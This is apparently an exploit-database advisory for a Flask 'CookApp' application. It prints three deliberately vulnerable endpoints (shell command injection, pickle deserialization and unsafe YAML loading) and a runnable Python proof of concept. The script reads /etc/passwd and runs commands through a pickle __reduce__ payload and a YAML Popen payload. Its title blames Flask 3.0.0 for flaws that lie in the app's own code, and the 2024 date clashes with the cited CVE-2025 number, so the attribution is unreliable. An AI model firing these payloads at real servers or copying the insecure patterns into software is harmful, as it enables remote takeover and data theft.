Flask 3.0.0 CookApp - Multiple Unauthenticated RCE Vulnerabilities# Exploit Title: Flask 3.0.0 CookApp - Multiple Unauthenticated RCE Vulnerabilities # Date: 2024-12-05 # Exploit Author: nu11secur1ty # Vendor Homepage: https://flask.palletsprojects.com/ # Software Link: https://pypi.org/project/Flask/ # Version: 3.0.0 # Tested on: Linux (Ubuntu 22.04), Docker containers # CVE: CVE-2025-55182 # Category: Remote Code Execution # Platform: Python/Flask 1. Description ============== A vulnerable Flask application (CookApp) contains multiple critical security vulnerabilities that allow unauthenticated remote attackers to execute arbitrary commands on the target system. The application contains three distinct Remote Code Execution (RCE) vectors: 1. Command Injection via `/api/run` endpoint (CWE-78) 2. Pickle Deserialization RCE via `/api/load` endpoint (CWE-502) 3. YAML Deserialization RCE via `/api/yaml` endpoint (CWE-502) CVSS 3.1 Score: 9.8 (CRITICAL) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 2. Vulnerable Code ================== ```python # Vulnerable endpoint 1: Command Injection @app.route("/api/run", methods=["POST"]) def run_cmd(): cmd = request.json.get("cmd", "whoami") # VULNERABLE: shell=True with user input output = subprocess.check_output(cmd, shell=True) return {"output": output.decode()} # Vulnerable endpoint 2: Pickle Deserialization @app.route("/api/load", methods=["POST"]) def load(): data = request.get_data() # VULNERABLE: pickle.loads() with untrusted data recipe = pickle.loads(data) return {"status": "loaded", "recipe": str(recipe)} # Vulnerable endpoint 3: YAML Deserialization @app.route("/api/yaml", methods=["POST"]) def import_yaml(): yaml_data = request.data.decode() # VULNERABLE: yaml.load() instead of yaml.safe_load() data = yaml.load(yaml_data, Loader=yaml.Loader) return {"data": str(data)} [+]PoC: ```py #!/usr/bin/env python3 # https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/2025/flask-3.0.0-RCE/PoC.py # nu11secur1ty import requests import pickle target = "http://vulnerable-host:5000" # 1. Command Injection (simplest) resp = requests.post(f"{target}/api/run", json={"cmd": "cat /etc/passwd"}) print("Command Injection Output:", resp.json().get('output', '')) # 2. Pickle RCE class RCE: def __reduce__(self): import os return (os.system, ("id",)) payload = pickle.dumps(RCE()) resp = requests.post(f"{target}/api/load", data=payload) print("Pickle RCE Status:", resp.status_code) # 3. YAML RCE yaml_payload = """!!python/object/apply:subprocess.Popen - ["sh", "-c", "whoami"]""" resp = requests.post(f"{target}/api/yaml", data=yaml_payload) print("YAML RCE Status:", resp.status_code) ``` ### Demo: [href](https://www.patreon.com/posts/flask-3-0-0-rce-145134394)
Thanks for you comment!
|
{{ x.nick }}
{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |